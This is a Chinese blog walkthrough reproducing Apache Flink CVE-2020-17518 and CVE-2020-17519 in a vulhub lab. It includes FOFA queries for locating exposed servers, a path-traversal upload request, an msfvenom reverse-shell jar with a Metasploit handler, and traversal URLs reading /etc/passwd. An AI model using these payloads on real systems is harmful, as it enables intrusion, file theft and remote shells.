【CVE-2020-17519/17518】Apache Flink任意文件上传/读取漏洞复现

FOFA

app="Apache-Flink"
app="Apache‐Flink" && country="CN"

漏洞描述

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。在Apache Flink 1.5.1版本中引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞
CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)
CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)

漏洞影响版本

CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

环境搭建

本次漏洞环境使用vulhub的docker环境搭建,vulhub下载地址:
https://github.com/vulhub/vulhub/
下载完成后传入装有docker和docker-compose环境的虚拟机,进入目录

cd vulhub-master/flink/CVE-2020-17518/
docker-compose up -d

拉取漏洞环境,出现”done”表示拉取成功
图片
图片
在浏览器输入http://your-ip:8081查看页面
图片

漏洞复现

CVE-2020-17518

访问http://your-ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包
图片
将请求包发送到repeater模块进行修改因为我们不知到当前的路径是什么,所以可以使用../切换到根目录因为我们不知到当前的路径是什么,所以可以使用../切换到根目录
图片
POC:

POST /jars/upload HTTP/1.1
Host: IP:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://IP:8081
Content-Type: multipart/form-data; boundary=---------------------------209638986713202799301320123018
Content-Length: 260
Connection: close
-----------------------------209638986713202799301320123018
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/111"
Content-Type: application/octet-stream

111

-----------------------------209638986713202799301320123018--

在容器中查看文件是否上传成功

docker ps
docker exec -it [CONTAINER ID] /bin/bash

图片
图片
Flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell
msf生成jar格式的马,lhost为kali的ip,lport为kali接收shell的端口

msfvenom -p java/shell_reverse_tcp lhost=**.***.***.**  lport=1234 -f jar >/home/a.jar

图片
图片
启动msf接收shell

msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST **.***.***.**
set LPORT 1234
exploit

图片
到此为止关于公网vps监听就已经设置好了,等待上传shell jar文件的连接就好了
在Apache Flink中选择Add New,选择木马jar文件上传,点击刚刚上传的木马文件,选择submit
图片
这时候在返回公网vps发现已经接收到了反弹的shell,不过这个shell权限不大
图片

CVE-2020-17519

上面写入后要是不能进入docker查看这里可以利用CVE-2020-17519漏洞进行文件读取,在页面首页输入以下payload查看tmp目录下的文件
URL:

http://ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252f111

%252f为/的两次url编码
图片
修改后面的payload改为查看etc下的passwd文件
POC:

http://IP:PORT/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

图片

漏洞修复

官方已发布安全版本,请及时下载升级至安全版本
https://flink.apache.org/zh/downloads.html

参考文章

https://www.lele8.me/2021/01/19/Apache-Flink-CVE-2020-17519-17518-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
https://blog.csdn.net/qq_38154820/article/details/112792615
https://www.cnblogs.com/khz521/p/14023011.html

  • Copyrights © 2019-2022 DMKXY
  • Visitors: | Views:

欢迎师傅来交流对线~

支付宝
微信